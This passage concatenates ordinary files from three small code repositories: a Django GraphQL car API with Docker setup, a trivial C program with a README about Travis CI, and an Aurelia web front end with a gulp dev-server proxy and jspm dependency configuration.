<repo_name>anpr/cars<file_sep>/README.md # cars Django GraphQL API using elasticsearch Work in progress! <file_sep>/cars/graph/schema.py import graphene class Car(graphene.ObjectType): name = graphene.String() def resolve_name(parent, info): return "hello" class Query(graphene.ObjectType): cars = graphene.List(Car) def resolve_cars(parens, info): return [Car(), Car()] schema = graphene.Schema(query=Query) <file_sep>/pyproject.toml [tool.poetry] name = "cars" version = "0.1.0" description = "" authors = [] [tool.poetry.dependencies] python = "^3.7" django = "2.2.7" elasticsearch-dsl = "6.4.0" graphene = "2.1.8" graphene-django = "2.2.0" psycopg2-binary = "2.8.4" toolz = "0.10.0" [tool.poetry.dev-dependencies] black = {version = "19.3-beta.0",allows-prereleases = true} django-extensions = "2.2.5" ipython = "7.9.0" pdbpp = "0.10.2" ptpython = "2.0.6" pywatchman = {version = "1.4.1",platform = "linux"} [tool.black] line-length = 100 target-version = ["py37"] exclude = ''' /( \.git | \.hg | \.mypy_cache | \.tox | \.venv | _build | buck-out | build | dist # The following are specific to Black, you probably don't want those. | migrations )/ ''' [build-system] requires = ["poetry>=0.12"] build-backend = "poetry.masonry.api" <file_sep>/Dockerfile FROM python:slim-stretch ENV PIP_DISABLE_PIP_VERSION_CHECK=on \ PYTHONUNBUFFERED=1 RUN pip install -U pip poetry RUN poetry config settings.virtualenvs.create false # no-cache cleaning is intentional to speed up usage, we only need to keep the production image small RUN apt-get update && apt-get install -qy gcc WORKDIR /code/ ADD . /code ADD etc/ /code/etc/ COPY etc/wait-for-it.sh /code/etc/ RUN poetry config settings.virtualenvs.create false ADD pyproject.toml poetry.lock /code/ RUN poetry install --no-interaction --ansi CMD ./etc/wait-for-it.sh elasticsearch:9200 -t 60 -- ./etc/wait-for-it.sh db:5432 -t 60 -- python manage.py runserver 0.0.0.0:8000 <file_sep>/docker-compose.yml version: '3' services: cars: build: context: . # python ignores docker's default SIGTERM and eventually docker gives up and # sends SIGKILL, so skip straight to the SIGKILL stop_signal: SIGKILL env_file: environment depends_on: - db - elasticsearch volumes: - .:/code ports: - 8000:8000 db: image: postgres:10.11 env_file: environment volumes: - ./etc/postgres/docker-entrypoint-initdb.d:/docker-entrypoint-initdb.d ports: - 5432:5432 # Username: elastic # Password: <PASSWORD> elasticsearch: image: docker.elastic.co/elasticsearch/elasticsearch-oss:6.4.3 environment: cluster.name: docker-cluster http.host: 0.0.0.0 network.host: 0.0.0.0 transport.host: 127.0.0.1 # By default, the heap size of the elasticsearch container is 2gb, which is # also the default for Docker for Mac, leading it to crash if we don't use less. ES_JAVA_OPTS: "-Xms1g -Xmx1g" # minimum_master_nodes need to be explicitly set when bound on a public IP # set to 1 to allow single node clusters # Details: https://github.com/elastic/elasticsearch/pull/17288 discovery.zen.minimum_master_nodes: 1 discovery.type: single-node ports: - 9200:9200 # RESTful API with JSON over HTTP - 9300:9300 # Java API
fe2b1778a08c497a5bea1960d6902931a75a01d6
[ "YAML", "Markdown", "TOML", "Python", "Dockerfile" ]
5
Markdown
anpr/cars
643419dc4a024ae4863fb951467836b59a484c67
7dda93d9bc96ab20cf78cf3ed2b97c6624ac6900
refs/heads/master
<file_sep>#include <stdio.h> int main(){ int i =1 ,j; j=i; //rr return 0; } <file_sep> [![Build Status](https://travis-ci.org/0chette0/gitlabHW.svg?branch=master)](https://travis-ci.org/0chette0/gitlabHW) 不知道為啥設定好heroku後travis就讀取不到這個repo了 在連接heroku以前都沒問題...
a5b0e1db16a68d80ec11766aca79a1508e6a390c
[ "Markdown", "C" ]
2
C
0chette0/gitlabHW
d91772c5ff41ea10b821236856b7f12d3b31e5d3
36e877da6a031a47ea5a200a623257c2b5ce63ef
refs/heads/master
<repo_name>wvuRc2/rc2web<file_sep>/build/tasks/serve.js var gulp = require('gulp'); var browserSync = require('browser-sync'); var url = require('url'); var httpProxy = require('http-proxy'); // this task utilizes the browsersync plugin // to create a dev server instance // at http://localhost:9000 gulp.task('serve', ['build'], function(done) { var proxyOptions = {target:"http://localhost:8088/"}; var proxy = httpProxy.createProxyServer(proxyOptions); var proxyMiddleware = function(req, res, next) { if (req.url.indexOf('/api') != -1) { console.log('using proxy:' + req.url); req.url = req.url.substring(5); return proxy.web(req, res); } else { next(); } }; proxy.on('error', function(err, req, res) { console.log("proxy error: " + err); }); proxy.on('proxyRes', function(res, req) { console.log("proxy resolved url:" + res); }); console.log("starting server"); browserSync({ open: false, port: 9000, server: { baseDir: ['.'], middleware: [ function (req, res, next) { if (req && res && next) proxyMiddleware(req, res, next); }, function (req, res, next) { res.setHeader('Access-Control-Allow-Origin', '*'); next(); }] } }, done); }); <file_sep>/config.js System.config({ defaultJSExtensions: true, transpiler: "babel", babelOptions: { "optional": [ "es7.decorators", "es7.classProperties", "runtime" ] }, paths: { "*": "dist/*", "github:*": "jspm_packages/github/*", "npm:*": "jspm_packages/npm/*" }, map: { "aurelia-animator-css": "github:aurelia/animator-css@0.15.0", "aurelia-binding": "github:aurelia/binding@0.8.6", "aurelia-bootstrapper": "github:aurelia/bootstrapper@0.16.0", "aurelia-dependency-injection": "github:aurelia/dependency-injection@0.9.2", "aurelia-event-aggregator": "github:aurelia/event-aggregator@0.7.0", "aurelia-fetch-client": "github:aurelia/fetch-client@0.1.2", "aurelia-framework": "github:aurelia/framework@0.15.0", "aurelia-history": "github:aurelia/history@0.6.1", "aurelia-history-browser": "github:aurelia/history-browser@0.7.0", "aurelia-loader": "github:aurelia/loader@0.8.7", "aurelia-loader-default": "github:aurelia/loader-default@0.9.5", "aurelia-logging": "github:aurelia/logging@0.6.4", "aurelia-metadata": "github:aurelia/metadata@0.7.3", "aurelia-path": "github:aurelia/path@0.8.1", "aurelia-route-recognizer": "github:aurelia/route-recognizer@0.6.2", "aurelia-router": "github:aurelia/router@0.11.0", "aurelia-task-queue": "github:aurelia/task-queue@0.6.2", "aurelia-templating": "github:aurelia/templating@0.14.1", "aurelia-templating-binding": "github:aurelia/templating-binding@0.14.0", "aurelia-templating-resources": "github:aurelia/templating-resources@0.14.0", "aurelia-templating-router": "github:aurelia/templating-router@0.15.0", "aurelia/fetch-client": "github:aurelia/fetch-client@0.1.1", "babel": "npm:babel-core@5.8.23", "babel-runtime": "npm:babel-runtime@5.8.20", "bootstrap": "github:twbs/bootstrap@3.3.5", "clean-css": "npm:clean-css@3.3.8", "codemirror": "npm:codemirror@5.6.0", "components/jquery": "github:components/jquery@2.1.4", "components/jqueryui": "github:components/jqueryui@1.11.4", "core-js": "npm:core-js@1.1.3", "css": "github:systemjs/plugin-css@0.1.13", "fetch": "github:github/fetch@0.9.0", "filesize": "npm:filesize@3.1.3", "font-awesome": "npm:font-awesome@4.4.0", "gulp-autoprefixer": "npm:gulp-autoprefixer@3.1.0", "jquery": "github:components/jquery@2.1.4", "jqueryui": "github:components/jqueryui@1.11.4", "moment": "npm:moment@2.10.6", "github:aurelia/animator-css@0.15.0": { "aurelia-metadata": "github:aurelia/metadata@0.7.3", "aurelia-templating": "github:aurelia/templating@0.14.1" }, "github:aurelia/binding@0.8.6": { "aurelia-dependency-injection": "github:aurelia/dependency-injection@0.9.2", "aurelia-metadata": "github:aurelia/metadata@0.7.3", "aurelia-task-queue": "github:aurelia/task-queue@0.6.2", "core-js": "npm:core-js@0.9.18" }, "github:aurelia/bootstrapper@0.16.0": { "aurelia-event-aggregator": "github:aurelia/event-aggregator@0.7.0", "aurelia-framework": "github:aurelia/framework@0.15.0", "aurelia-history": "github:aurelia/history@0.6.1", "aurelia-history-browser": "github:aurelia/history-browser@0.7.0", "aurelia-loader-default": "github:aurelia/loader-default@0.9.5", "aurelia-logging-console": "github:aurelia/logging-console@0.6.2", "aurelia-router": "github:aurelia/router@0.11.0", "aurelia-templating": "github:aurelia/templating@0.14.1", "aurelia-templating-binding": "github:aurelia/templating-binding@0.14.0", "aurelia-templating-resources": "github:aurelia/templating-resources@0.14.0", "aurelia-templating-router": "github:aurelia/templating-router@0.15.0", "core-js": "npm:core-js@0.9.18" }, "github:aurelia/dependency-injection@0.9.2": { "aurelia-logging": "github:aurelia/logging@0.6.4", "aurelia-metadata": "github:aurelia/metadata@0.7.3", "core-js": "npm:core-js@0.9.18" }, "github:aurelia/event-aggregator@0.7.0": { "aurelia-logging": "github:aurelia/logging@0.6.4" }, "github:aurelia/fetch-client@0.1.1": { "core-js": "npm:core-js@0.9.18" }, "github:aurelia/fetch-client@0.1.2": { "core-js": "npm:core-js@0.9.18" }, "github:aurelia/framework@0.15.0": { "aurelia-binding": "github:aurelia/binding@0.8.6", "aurelia-dependency-injection": "github:aurelia/dependency-injection@0.9.2", "aurelia-loader": "github:aurelia/loader@0.8.7", "aurelia-logging": "github:aurelia/logging@0.6.4", "aurelia-metadata": "github:aurelia/metadata@0.7.3", "aurelia-path": "github:aurelia/path@0.8.1", "aurelia-task-queue": "github:aurelia/task-queue@0.6.2", "aurelia-templating": "github:aurelia/templating@0.14.1", "core-js": "npm:core-js@0.9.18" }, "github:aurelia/history-browser@0.7.0": { "aurelia-history": "github:aurelia/history@0.6.1", "core-js": "npm:core-js@0.9.18" }, "github:aurelia/loader-default@0.9.5": { "aurelia-loader": "github:aurelia/loader@0.8.7", "aurelia-metadata": "github:aurelia/metadata@0.7.3" }, "github:aurelia/loader@0.8.7": { "aurelia-html-template-element": "github:aurelia/html-template-element@0.2.0", "aurelia-metadata": "github:aurelia/metadata@0.7.3", "aurelia-path": "github:aurelia/path@0.8.1", "core-js": "npm:core-js@0.9.18", "webcomponentsjs": "github:webcomponents/webcomponentsjs@0.6.3" }, "github:aurelia/logging-console@0.6.2": { "aurelia-logging": "github:aurelia/logging@0.6.4" }, "github:aurelia/metadata@0.7.3": { "core-js": "npm:core-js@0.9.18" }, "github:aurelia/route-recognizer@0.6.2": { "core-js": "npm:core-js@0.9.18" }, "github:aurelia/router@0.11.0": { "aurelia-dependency-injection": "github:aurelia/dependency-injection@0.9.2", "aurelia-event-aggregator": "github:aurelia/event-aggregator@0.7.0", "aurelia-history": "github:aurelia/history@0.6.1", "aurelia-logging": "github:aurelia/logging@0.6.4", "aurelia-path": "github:aurelia/path@0.8.1", "aurelia-route-recognizer": "github:aurelia/route-recognizer@0.6.2", "core-js": "npm:core-js@0.9.18" }, "github:aurelia/templating-binding@0.14.0": { "aurelia-binding": "github:aurelia/binding@0.8.6", "aurelia-logging": "github:aurelia/logging@0.6.4", "aurelia-templating": "github:aurelia/templating@0.14.1" }, "github:aurelia/templating-resources@0.14.0": { "aurelia-binding": "github:aurelia/binding@0.8.6", "aurelia-dependency-injection": "github:aurelia/dependency-injection@0.9.2", "aurelia-logging": "github:aurelia/logging@0.6.4", "aurelia-task-queue": "github:aurelia/task-queue@0.6.2", "aurelia-templating": "github:aurelia/templating@0.14.1", "core-js": "npm:core-js@0.9.18" }, "github:aurelia/templating-router@0.15.0": { "aurelia-dependency-injection": "github:aurelia/dependency-injection@0.9.2", "aurelia-metadata": "github:aurelia/metadata@0.7.3", "aurelia-path": "github:aurelia/path@0.8.1", "aurelia-router": "github:aurelia/router@0.11.0", "aurelia-templating": "github:aurelia/templating@0.14.1" }, "github:aurelia/templating@0.14.1": { "aurelia-binding": "github:aurelia/binding@0.8.6", "aurelia-dependency-injection": "github:aurelia/dependency-injection@0.9.2", "aurelia-html-template-element": "github:aurelia/html-template-element@0.2.0", "aurelia-loader": "github:aurelia/loader@0.8.7", "aurelia-logging": "github:aurelia/logging@0.6.4", "aurelia-metadata": "github:aurelia/metadata@0.7.3", "aurelia-path": "github:aurelia/path@0.8.1", "aurelia-task-queue": "github:aurelia/task-queue@0.6.2", "core-js": "npm:core-js@0.9.18" }, "github:components/jqueryui@1.11.4": { "jquery": "github:components/jquery@2.1.4" }, "github:jspm/nodelibs-assert@0.1.0": { "assert": "npm:assert@1.3.0" }, "github:jspm/nodelibs-buffer@0.1.0": { "buffer": "npm:buffer@3.5.1" }, "github:jspm/nodelibs-constants@0.1.0": { "constants-browserify": "npm:constants-browserify@0.0.1" }, "github:jspm/nodelibs-events@0.1.1": { "events": "npm:events@1.0.2" }, "github:jspm/nodelibs-http@1.7.1": { "Base64": "npm:Base64@0.2.1", "events": "github:jspm/nodelibs-events@0.1.1", "inherits": "npm:inherits@2.0.1", "stream": "github:jspm/nodelibs-stream@0.1.0", "url": "github:jspm/nodelibs-url@0.1.0", "util": "github:jspm/nodelibs-util@0.1.0" }, "github:jspm/nodelibs-https@0.1.0": { "https-browserify": "npm:https-browserify@0.0.0" }, "github:jspm/nodelibs-os@0.1.0": { "os-browserify": "npm:os-browserify@0.1.2" }, "github:jspm/nodelibs-path@0.1.0": { "path-browserify": "npm:path-browserify@0.0.0" }, "github:jspm/nodelibs-process@0.1.2": { "process": "npm:process@0.11.2" }, "github:jspm/nodelibs-stream@0.1.0": { "stream-browserify": "npm:stream-browserify@1.0.0" }, "github:jspm/nodelibs-url@0.1.0": { "url": "npm:url@0.10.3" }, "github:jspm/nodelibs-util@0.1.0": { "util": "npm:util@0.10.3" }, "github:jspm/nodelibs-vm@0.1.0": { "vm-browserify": "npm:vm-browserify@0.0.4" }, "github:twbs/bootstrap@3.3.5": { "jquery": "github:components/jquery@2.1.4" }, "npm:amdefine@1.0.0": { "fs": "github:jspm/nodelibs-fs@0.1.2", "module": "github:jspm/nodelibs-module@0.1.0", "path": "github:jspm/nodelibs-path@0.1.0", "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:assert@1.3.0": { "util": "npm:util@0.10.3" }, "npm:autoprefixer@6.0.3": { "browserslist": "npm:browserslist@1.0.1", "caniuse-db": "npm:caniuse-db@1.0.30000351", "num2fraction": "npm:num2fraction@1.2.2", "postcss": "npm:postcss@5.0.10", "process": "github:jspm/nodelibs-process@0.1.2", "systemjs-json": "github:systemjs/plugin-json@0.1.0" }, "npm:babel-runtime@5.8.20": { "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:beeper@1.1.0": { "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:browserslist@1.0.1": { "caniuse-db": "npm:caniuse-db@1.0.30000351", "fs": "github:jspm/nodelibs-fs@0.1.2", "path": "github:jspm/nodelibs-path@0.1.0", "process": "github:jspm/nodelibs-process@0.1.2", "systemjs-json": "github:systemjs/plugin-json@0.1.0" }, "npm:buffer@3.5.1": { "base64-js": "npm:base64-js@0.0.8", "ieee754": "npm:ieee754@1.1.6", "is-array": "npm:is-array@1.0.1" }, "npm:builtin-modules@1.1.0": { "process": "github:jspm/nodelibs-process@0.1.2", "systemjs-json": "github:systemjs/plugin-json@0.1.0" }, "npm:camelcase-keys@1.0.0": { "camelcase": "npm:camelcase@1.2.1", "map-obj": "npm:map-obj@1.0.1" }, "npm:chalk@1.1.1": { "ansi-styles": "npm:ansi-styles@2.1.0", "escape-string-regexp": "npm:escape-string-regexp@1.0.3", "has-ansi": "npm:has-ansi@2.0.0", "process": "github:jspm/nodelibs-process@0.1.2", "strip-ansi": "npm:strip-ansi@3.0.0", "supports-color": "npm:supports-color@2.0.0" }, "npm:clean-css@3.3.8": { "buffer": "github:jspm/nodelibs-buffer@0.1.0", "commander": "npm:commander@2.8.1", "fs": "github:jspm/nodelibs-fs@0.1.2", "http": "github:jspm/nodelibs-http@1.7.1", "https": "github:jspm/nodelibs-https@0.1.0", "os": "github:jspm/nodelibs-os@0.1.0", "path": "github:jspm/nodelibs-path@0.1.0", "process": "github:jspm/nodelibs-process@0.1.2", "source-map": "npm:source-map@0.4.4", "url": "github:jspm/nodelibs-url@0.1.0", "util": "github:jspm/nodelibs-util@0.1.0" }, "npm:clone-stats@0.0.1": { "fs": "github:jspm/nodelibs-fs@0.1.2" }, "npm:clone@1.0.2": { "buffer": "github:jspm/nodelibs-buffer@0.1.0", "vm": "github:jspm/nodelibs-vm@0.1.0" }, "npm:codemirror@5.6.0": { "buffer": "github:jspm/nodelibs-buffer@0.1.0", "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:commander@2.8.1": { "child_process": "github:jspm/nodelibs-child_process@0.1.0", "events": "github:jspm/nodelibs-events@0.1.1", "fs": "github:jspm/nodelibs-fs@0.1.2", "graceful-readlink": "npm:graceful-readlink@1.0.1", "path": "github:jspm/nodelibs-path@0.1.0", "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:constants-browserify@0.0.1": { "systemjs-json": "github:systemjs/plugin-json@0.1.0" }, "npm:core-js@0.9.18": { "fs": "github:jspm/nodelibs-fs@0.1.2", "process": "github:jspm/nodelibs-process@0.1.2", "systemjs-json": "github:systemjs/plugin-json@0.1.0" }, "npm:core-js@1.1.3": { "fs": "github:jspm/nodelibs-fs@0.1.2", "process": "github:jspm/nodelibs-process@0.1.2", "systemjs-json": "github:systemjs/plugin-json@0.1.0" }, "npm:core-util-is@1.0.1": { "buffer": "github:jspm/nodelibs-buffer@0.1.0" }, "npm:dateformat@1.0.11": { "get-stdin": "npm:get-stdin@4.0.1", "meow": "npm:meow@3.5.0" }, "npm:duplexer2@0.0.2": { "readable-stream": "npm:readable-stream@1.1.13" }, "npm:error-ex@1.2.0": { "util": "github:jspm/nodelibs-util@0.1.0" }, "npm:fancy-log@1.1.0": { "chalk": "npm:chalk@1.1.1", "dateformat": "npm:dateformat@1.0.11", "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:find-up@1.0.0": { "path": "github:jspm/nodelibs-path@0.1.0", "path-exists": "npm:path-exists@2.0.0", "pinkie-promise": "npm:pinkie-promise@1.0.0" }, "npm:font-awesome@4.4.0": { "css": "github:systemjs/plugin-css@0.1.13" }, "npm:get-stdin@4.0.1": { "buffer": "github:jspm/nodelibs-buffer@0.1.0", "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:glogg@1.0.0": { "sparkles": "npm:sparkles@1.0.0", "util": "github:jspm/nodelibs-util@0.1.0" }, "npm:graceful-fs@4.1.2": { "assert": "github:jspm/nodelibs-assert@0.1.0", "constants": "github:jspm/nodelibs-constants@0.1.0", "fs": "github:jspm/nodelibs-fs@0.1.2", "process": "github:jspm/nodelibs-process@0.1.2", "stream": "github:jspm/nodelibs-stream@0.1.0", "util": "github:jspm/nodelibs-util@0.1.0" }, "npm:graceful-readlink@1.0.1": { "fs": "github:jspm/nodelibs-fs@0.1.2" }, "npm:gulp-autoprefixer@3.1.0": { "autoprefixer": "npm:autoprefixer@6.0.3", "buffer": "github:jspm/nodelibs-buffer@0.1.0", "gulp-util": "npm:gulp-util@3.0.7", "postcss": "npm:postcss@5.0.10", "through2": "npm:through2@2.0.0", "vinyl-sourcemaps-apply": "npm:vinyl-sourcemaps-apply@0.2.0" }, "npm:gulp-util@3.0.7": { "array-differ": "npm:array-differ@1.0.0", "array-uniq": "npm:array-uniq@1.0.2", "beeper": "npm:beeper@1.1.0", "buffer": "github:jspm/nodelibs-buffer@0.1.0", "chalk": "npm:chalk@1.1.1", "dateformat": "npm:dateformat@1.0.11", "fancy-log": "npm:fancy-log@1.1.0", "gulplog": "npm:gulplog@1.0.0", "has-gulplog": "npm:has-gulplog@0.1.0", "lodash._reescape": "npm:lodash._reescape@3.0.0", "lodash._reevaluate": "npm:lodash._reevaluate@3.0.0", "lodash._reinterpolate": "npm:lodash._reinterpolate@3.0.0", "lodash.template": "npm:lodash.template@3.6.2", "minimist": "npm:minimist@1.2.0", "multipipe": "npm:multipipe@0.1.2", "object-assign": "npm:object-assign@3.0.0", "process": "github:jspm/nodelibs-process@0.1.2", "replace-ext": "npm:replace-ext@0.0.1", "stream": "github:jspm/nodelibs-stream@0.1.0", "through2": "npm:through2@2.0.0", "util": "github:jspm/nodelibs-util@0.1.0", "vinyl": "npm:vinyl@0.5.3" }, "npm:gulplog@1.0.0": { "glogg": "npm:glogg@1.0.0" }, "npm:has-ansi@2.0.0": { "ansi-regex": "npm:ansi-regex@2.0.0" }, "npm:has-flag@1.0.0": { "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:has-gulplog@0.1.0": { "sparkles": "npm:sparkles@1.0.0" }, "npm:hosted-git-info@2.1.4": { "url": "github:jspm/nodelibs-url@0.1.0" }, "npm:https-browserify@0.0.0": { "http": "github:jspm/nodelibs-http@1.7.1" }, "npm:indent-string@2.1.0": { "repeating": "npm:repeating@2.0.0" }, "npm:inherits@2.0.1": { "util": "github:jspm/nodelibs-util@0.1.0" }, "npm:is-builtin-module@1.0.0": { "builtin-modules": "npm:builtin-modules@1.1.0" }, "npm:is-finite@1.0.1": { "number-is-nan": "npm:number-is-nan@1.0.0" }, "npm:is-utf8@0.2.0": { "fs": "github:jspm/nodelibs-fs@0.1.2" }, "npm:js-base64@2.1.9": { "buffer": "github:jspm/nodelibs-buffer@0.1.0" }, "npm:load-json-file@1.0.1": { "graceful-fs": "npm:graceful-fs@4.1.2", "parse-json": "npm:parse-json@2.2.0", "path": "github:jspm/nodelibs-path@0.1.0", "pify": "npm:pify@2.3.0", "pinkie-promise": "npm:pinkie-promise@1.0.0", "process": "github:jspm/nodelibs-process@0.1.2", "strip-bom": "npm:strip-bom@2.0.0" }, "npm:lodash._basetostring@3.0.1": { "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:lodash.escape@3.0.0": { "lodash._basetostring": "npm:lodash._basetostring@3.0.1" }, "npm:lodash.keys@3.1.2": { "lodash._getnative": "npm:lodash._getnative@3.9.1", "lodash.isarguments": "npm:lodash.isarguments@3.0.4", "lodash.isarray": "npm:lodash.isarray@3.0.4" }, "npm:lodash.template@3.6.2": { "lodash._basecopy": "npm:lodash._basecopy@3.0.1", "lodash._basetostring": "npm:lodash._basetostring@3.0.1", "lodash._basevalues": "npm:lodash._basevalues@3.0.0", "lodash._isiterateecall": "npm:lodash._isiterateecall@3.0.9", "lodash._reinterpolate": "npm:lodash._reinterpolate@3.0.0", "lodash.escape": "npm:lodash.escape@3.0.0", "lodash.keys": "npm:lodash.keys@3.1.2", "lodash.restparam": "npm:lodash.restparam@3.6.1", "lodash.templatesettings": "npm:lodash.templatesettings@3.1.0" }, "npm:lodash.templatesettings@3.1.0": { "lodash._reinterpolate": "npm:lodash._reinterpolate@3.0.0", "lodash.escape": "npm:lodash.escape@3.0.0" }, "npm:loud-rejection@1.0.0": { "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:meow@3.5.0": { "camelcase-keys": "npm:camelcase-keys@1.0.0", "loud-rejection": "npm:loud-rejection@1.0.0", "minimist": "npm:minimist@1.2.0", "normalize-package-data": "npm:normalize-package-data@2.3.4", "object-assign": "npm:object-assign@4.0.1", "path": "github:jspm/nodelibs-path@0.1.0", "process": "github:jspm/nodelibs-process@0.1.2", "read-pkg-up": "npm:read-pkg-up@1.0.1", "redent": "npm:redent@1.0.0", "trim-newlines": "npm:trim-newlines@1.0.0" }, "npm:moment@2.10.6": { "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:multipipe@0.1.2": { "duplexer2": "npm:duplexer2@0.0.2", "stream": "github:jspm/nodelibs-stream@0.1.0" }, "npm:normalize-package-data@2.3.4": { "hosted-git-info": "npm:hosted-git-info@2.1.4", "is-builtin-module": "npm:is-builtin-module@1.0.0", "semver": "npm:semver@5.0.3", "systemjs-json": "github:systemjs/plugin-json@0.1.0", "url": "github:jspm/nodelibs-url@0.1.0", "util": "github:jspm/nodelibs-util@0.1.0", "validate-npm-package-license": "npm:validate-npm-package-license@3.0.1" }, "npm:os-browserify@0.1.2": { "os": "github:jspm/nodelibs-os@0.1.0" }, "npm:parse-json@2.2.0": { "error-ex": "npm:error-ex@1.2.0" }, "npm:path-browserify@0.0.0": { "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:path-exists@2.0.0": { "fs": "github:jspm/nodelibs-fs@0.1.2", "pinkie-promise": "npm:pinkie-promise@1.0.0" }, "npm:path-type@1.0.0": { "graceful-fs": "npm:graceful-fs@4.1.2", "pify": "npm:pify@2.3.0", "pinkie-promise": "npm:pinkie-promise@1.0.0" }, "npm:pify@2.3.0": { "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:pinkie-promise@1.0.0": { "pinkie": "npm:pinkie@1.0.0" }, "npm:postcss@5.0.10": { "fs": "github:jspm/nodelibs-fs@0.1.2", "js-base64": "npm:js-base64@2.1.9", "path": "github:jspm/nodelibs-path@0.1.0", "process": "github:jspm/nodelibs-process@0.1.2", "source-map": "npm:source-map@0.5.3", "supports-color": "npm:supports-color@3.1.2", "systemjs-json": "github:systemjs/plugin-json@0.1.0" }, "npm:process-nextick-args@1.0.3": { "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:process@0.11.2": { "assert": "github:jspm/nodelibs-assert@0.1.0" }, "npm:punycode@1.3.2": { "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:read-pkg-up@1.0.1": { "find-up": "npm:find-up@1.0.0", "read-pkg": "npm:read-pkg@1.1.0" }, "npm:read-pkg@1.1.0": { "load-json-file": "npm:load-json-file@1.0.1", "normalize-package-data": "npm:normalize-package-data@2.3.4", "path": "github:jspm/nodelibs-path@0.1.0", "path-type": "npm:path-type@1.0.0" }, "npm:readable-stream@1.1.13": { "buffer": "github:jspm/nodelibs-buffer@0.1.0", "core-util-is": "npm:core-util-is@1.0.1", "events": "github:jspm/nodelibs-events@0.1.1", "inherits": "npm:inherits@2.0.1", "isarray": "npm:isarray@0.0.1", "process": "github:jspm/nodelibs-process@0.1.2", "stream-browserify": "npm:stream-browserify@1.0.0", "string_decoder": "npm:string_decoder@0.10.31" }, "npm:readable-stream@2.0.3": { "buffer": "github:jspm/nodelibs-buffer@0.1.0", "core-util-is": "npm:core-util-is@1.0.1", "events": "github:jspm/nodelibs-events@0.1.1", "inherits": "npm:inherits@2.0.1", "isarray": "npm:isarray@0.0.1", "process": "github:jspm/nodelibs-process@0.1.2", "process-nextick-args": "npm:process-nextick-args@1.0.3", "string_decoder": "npm:string_decoder@0.10.31", "util-deprecate": "npm:util-deprecate@1.0.2" }, "npm:redent@1.0.0": { "indent-string": "npm:indent-string@2.1.0", "strip-indent": "npm:strip-indent@1.0.1" }, "npm:repeating@2.0.0": { "is-finite": "npm:is-finite@1.0.1" }, "npm:replace-ext@0.0.1": { "path": "github:jspm/nodelibs-path@0.1.0" }, "npm:semver@5.0.3": { "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:source-map@0.4.4": { "amdefine": "npm:amdefine@1.0.0", "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:source-map@0.5.3": { "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:sparkles@1.0.0": { "events": "github:jspm/nodelibs-events@0.1.1" }, "npm:spdx-correct@1.0.2": { "spdx-license-ids": "npm:spdx-license-ids@1.1.0" }, "npm:spdx-expression-parse@1.0.0": { "spdx-exceptions": "npm:spdx-exceptions@1.0.3", "spdx-license-ids": "npm:spdx-license-ids@1.1.0" }, "npm:spdx-license-ids@1.1.0": { "systemjs-json": "github:systemjs/plugin-json@0.1.0" }, "npm:stream-browserify@1.0.0": { "events": "github:jspm/nodelibs-events@0.1.1", "inherits": "npm:inherits@2.0.1", "readable-stream": "npm:readable-stream@1.1.13" }, "npm:string_decoder@0.10.31": { "buffer": "github:jspm/nodelibs-buffer@0.1.0" }, "npm:strip-ansi@3.0.0": { "ansi-regex": "npm:ansi-regex@2.0.0" }, "npm:strip-bom@2.0.0": { "buffer": "github:jspm/nodelibs-buffer@0.1.0", "is-utf8": "npm:is-utf8@0.2.0" }, "npm:strip-indent@1.0.1": { "fs": "github:jspm/nodelibs-fs@0.1.2", "get-stdin": "npm:get-stdin@4.0.1", "process": "github:jspm/nodelibs-process@0.1.2", "systemjs-json": "github:systemjs/plugin-json@0.1.0" }, "npm:supports-color@2.0.0": { "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:supports-color@3.1.2": { "has-flag": "npm:has-flag@1.0.0", "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:through2@2.0.0": { "process": "github:jspm/nodelibs-process@0.1.2", "readable-stream": "npm:readable-stream@2.0.3", "util": "github:jspm/nodelibs-util@0.1.0", "xtend": "npm:xtend@4.0.0" }, "npm:url@0.10.3": { "assert": "github:jspm/nodelibs-assert@0.1.0", "punycode": "npm:punycode@1.3.2", "querystring": "npm:querystring@0.2.0", "util": "github:jspm/nodelibs-util@0.1.0" }, "npm:util-deprecate@1.0.2": { "util": "github:jspm/nodelibs-util@0.1.0" }, "npm:util@0.10.3": { "inherits": "npm:inherits@2.0.1", "process": "github:jspm/nodelibs-process@0.1.2" }, "npm:validate-npm-package-license@3.0.1": { "spdx-correct": "npm:spdx-correct@1.0.2", "spdx-expression-parse": "npm:spdx-expression-parse@1.0.0" }, "npm:vinyl-sourcemaps-apply@0.2.0": { "source-map": "npm:source-map@0.5.3" }, "npm:vinyl@0.5.3": { "buffer": "github:jspm/nodelibs-buffer@0.1.0", "clone": "npm:clone@1.0.2", "clone-stats": "npm:clone-stats@0.0.1", "path": "github:jspm/nodelibs-path@0.1.0", "process": "github:jspm/nodelibs-process@0.1.2", "replace-ext": "npm:replace-ext@0.0.1", "stream": "github:jspm/nodelibs-stream@0.1.0" }, "npm:vm-browserify@0.0.4": { "indexof": "npm:indexof@0.0.1" } } }); <file_sep>/src/SessionImage.js class SessionImage { constructor(jsonObj) { this.id = jsonObj["id"]; this.sessionId = jsonObj["sessionId"]; this.batchId = jsonObj["batchId"]; this.name = jsonObj["name"]; this.dateCreated = jsonObj["dateCreated"]; this.source = 'data:image/png;base64,' + jsonObj["imageData"]; } } export default function makeSessionImage(img) { return new SessionImage(img); } <file_sep>/src/wspaces.js import {inject} from 'aurelia-framework'; import Rc2State from 'Rc2State'; import $ from 'jquery'; @inject(Rc2State) export class wspaces { constructor(state) { this.state = state; } } <file_sep>/src/splitter.js export default class Splitter { constructor(handler, leftEl, rightEl) { let self = this; this.lastX = 0; this.leftEl = leftEl; this.rightEl = rightEl; let w = window; 